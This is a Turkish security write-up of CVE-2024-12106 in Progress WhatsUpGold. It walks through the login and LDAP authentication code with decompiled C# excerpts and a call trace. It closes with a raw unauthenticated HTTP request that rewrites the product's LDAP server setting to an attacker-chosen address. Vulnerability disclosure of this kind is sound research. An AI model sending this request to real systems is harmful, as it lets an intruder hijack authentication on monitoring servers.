CVE-2024-12106

Affected Versions: 23.1.1 to 24.01 Build 2177.

WhatsUpGold Progress firmasi tarafindan gelistirilmis network monitoring aracidir. Bu yazi WhatsUpGold Unauth Series serisinin devamidir. CVE.ORG

LOAD

Authentication Mechanism

WhatsLogin

WhatsUpGold urunun birden fazla authentication sistemi bulunmaktadir bunlardan bazilari OpenIdConnect,Ldap,Active Directory gibi otomatik sistemlerdir.

Kullanici giris islemini baslattiginda backend bolumunde kullanicinin local user mi (database) yoksa ldap-active directory useri mi kontrolunu saglar eger databasede GlobalSettings tablosunda ldap fieldi varsa oradaki servere istek atar bu kullanici var mi? eger kullanici yoksa database’ye sorar. Sistem arka tarafta bu sekilde calismaktadir.

Route

LOAD

WhatsUpGold urununde birden fazla controller bulunmaktadir ve cogu ozelligi /api/core/ controlleri uzerinden yapmaktadir.

Core api controllerinde user session kontrolu gibi onlemler bulunmaktadir WUG eklentisi ve controlleri uzerinden ldap ozelligini pre-auth sekilde yonetecegiz.

LoginAjax

Giris islemi LoginAjax actionu ile baslar ve ValidateUser bolumune gecer ValidateUser kullaniciyi tanimlamak icin kullanilir, ornek post username verisinde @ isareti varsa ona gore islem onceligini active directorye yonlendiriyor.

public ActionResult LoginAjax(string username, string password, bool rememberMe)
		{
			bool flag = true;
			bool flag2 = false;
			string text = string.Empty;
			LogInViewModel logInViewModel = new LogInViewModel
			{
				Password = password,
				RememberMe = rememberMe,
				UserName = username
			};
			if (flag)
			{
				flag2 = this.loginModel.ValidateUser(logInViewModel);
				if (flag2)
				{
					FormsAuthentication.SetAuthCookie(logInViewModel.UserName, logInViewModel.RememberMe);
					this.userActivityLogger.Log(logInViewModel.UserName, "Authentication", "The user has logged in.");
					this.SessionKeepAlive(logInViewModel.UserName);
					GenericIdentity genericIdentity = new GenericIdentity(logInViewModel.UserName);
					Language usersLanguage = this.lcl.GetUsersLanguage(base.Request.Cookies, base.Request.UserLanguages, genericIdentity);
					this.lcl.SetUsersLanguage(base.Response.Cookies, usersLanguage.LCID);
				}
				else
				{
					if (logInViewModel.ActiveSessionMessage.Contains("Cisco ACS Authentication Failed"))
					{
						this.userActivityLogger.Log(logInViewModel.UserName, "Authentication", logInViewModel.ActiveSessionMessage);
						logInViewModel.ActiveSessionMessage = "Failure at authenticating server.";
					}
					text = logInViewModel.ActiveSessionMessage ?? this.lcl.Lookup("The user name or password provided is incorrect.");
				}
			}
			else
			{
				text = this.lcl.Lookup("Your license is invalid.");
			}
			return base.Json(new
			{
				authenticated = flag2,
				message = text,
				username = logInViewModel.UserName
			}, JsonRequestBehavior.AllowGet);
		}

Trace

+-- NmUserAuthenticator.Utilities.RegisterLdapAppServices(IUnityContainer) : void @06000009
   +-- NmUserAuthenticator.Utilities.RegisterServices(IUnityContainer) : void @06000014
      +-- NmUserAuthenticator.WugUserAuthenticationGateway.WugUserAuthenticationGateway(IUnityContainer, IUserAuthenticator) : void @06000026
         +-- NmUserAuthenticator.WugUserAuthenticationGateway.WugUserAuthenticationGateway(IUnityContainer) : void @06000025
            +-- NmUserAuthenticator.WugUserAuthenticationGateway.WugUserAuthenticationGateway() : void @06000024
               +-- Wug.UIServices.UserService.ValidateUser(ref string, string, out string) : bool @060000F2

LdapController

Ldap Controller uzerinde bizden post verisi bekliyor bunlardan bazilari AdDomain,AuthScheme,LdapDn,Port,Server,UseTls.

  1. Gelen veride AuthScheme ad-domain‘e esit degilse LdapDn verisini return donuyor, eger esitse AdDomain verisini alip %s ekliyor bunun sebebi active directory auth icin domain ekliyor ornek: EVILDOMAIN\%s (post isleminde gelen username).

  2. UseTls ozelligi eger true ise ldaps:// ile baglanti saglayacak false ise ldap:// ile baglanti saglayacak.

  3. Son olarak kullanicidan aldigi veriler dogrultusunda bir xml olusturacak ve databasede GlobalSettings tablosuna ldap fieldi olarak ekleyecek.

   XmlElement xmlElement = new XmlDocument().CreateElement(name);
   xmlElement.SetAttribute("authorize-dn", this.AuthDn());
   xmlElement.SetAttribute("port", this.Port.ToString());
   xmlElement.SetAttribute("secured", this.UseTls ? "1" : "0");
   xmlElement.SetAttribute("server", this.Server);
   xmlElement.SetAttribute("uri", this.FormUri());
   xmlElement.SetAttribute("use-ad", (this.AuthScheme == "ad-domain") ? "1" : "0");
   return xmlElement.OuterXml;

Exploit7 Bolumu

POST /NmConsole/Wug/Ldap/SaveConfig HTTP/1.1
Host: localhost
Accept: application/json
Content-Type: application/x-www-form-urlencoded
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Accept-Encoding: gzip, deflate, br
Priority: u=4, i
Content-Length: 91

AdDomain=a&AuthScheme=ad-domain&Port=389&Server=192.168.1.114&UseTls=false&LdapDn=CN=%s